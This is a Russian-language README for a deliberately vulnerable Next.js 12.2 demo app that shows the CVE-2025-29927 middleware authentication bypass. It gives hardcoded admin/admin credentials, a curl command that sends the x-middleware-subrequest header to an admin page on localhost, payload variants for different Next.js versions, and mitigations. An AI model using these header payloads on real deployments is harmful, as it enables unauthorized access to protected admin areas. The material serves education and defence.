Hello World - Next.js 12.2

Простое приложение-демонстрация концепции на Next.js 12.2.

🚀 Быстрый старт

1. Установка зависимостей

npm install

2. Запуск сервера разработки

npm run dev

Приложение будет доступно по адресу http://localhost:3000

🛠️ Доступные скрипты

• npm run dev - Запуск сервера разработки
• npm run build - Сборка для продакшена
• npm run start - Запуск продакшен-сервера

🎯 Возможности

• ✅ Next.js 12.2 - Последняя стабильная версия
• ✅ React 18.2 - Современные возможности React
• ✅ Простой дизайн - Чистый адаптивный интерфейс
• ✅ Система аутентификации - Вход с жёстко заданными учётными данными
• ✅ Панель администратора - Защищённая панель с конфиденциальными данными
• ✅ Уязвимое промежуточное ПО - Демонстрация техник обхода аутентификации
• ✅ Демо эксплойта - Лёгкое воспроизведение проблем безопасности

🔧 Настройка

Измените pages/index.js, чтобы модифицировать страницу Hello World. Приложение использует встроенные стили для простоты, но вы можете добавить CSS-файлы или библиотеки стилей по необходимости.

🔓 Демонстрация безопасности CVE-2025-29927

Это приложение демонстрирует уязвимость CVE-2025-29927, обнаруженную Rachid.A (zhero) и Yasser Allam (inzo_):

📋 Детали уязвимости

• CVE: CVE-2025-29927
• CVSS: 9.1/10 (Критический)
• Затронутые версии: Next.js 11.1.4 - 15.2.2
• Влияние: Полный обход промежуточного ПО с помощью заголовка x-middleware-subrequest

🎯 Учётные данные для демо

• Имя пользователя: admin
• Пароль: admin

🚨 Методы эксплуатации CVE-2025-29927

1. Расширение браузера (ModHeader) - Добавьте заголовок x-middleware-subrequest: middleware
2. Консоль JavaScript - Используйте fetch с заголовком обхода
3. Эксплойт cURL - curl -H "x-middleware-subrequest: middleware" http://localhost:3000/admin
4. Python Requests - Добавьте заголовок для полного обхода промежуточного ПО

🔧 Варианты полезной нагрузки

• Next.js 12.2+: x-middleware-subrequest: middleware
• With /src directory: x-middleware-subrequest: src/middleware
• Next.js 15.x: x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

🛡️ Меры защиты

• Обновитесь до Next.js 15.2.3+ (14.2.25+ для 14.x)
• Блокируйте заголовок x-middleware-subrequest на уровне прокси/CDN
• Реализуйте дополнительную проверку на стороне сервера

⚠️ ПРЕДУПРЕЖДЕНИЕ: Это демонстрирует реальную CVE только в образовательных целях!

📦 Зависимости

• next: 12.2.0
• react: 18.2.0
• react-dom: 18.2.0

🎨 Стилизация

Это приложение использует встроенные стили для простоты. Для продакшен-приложения рассмотрите использование:

• CSS Modules
• Styled Components
• Tailwind CSS
• Или любое другое решение для стилей

Удачного кодинга! 🚀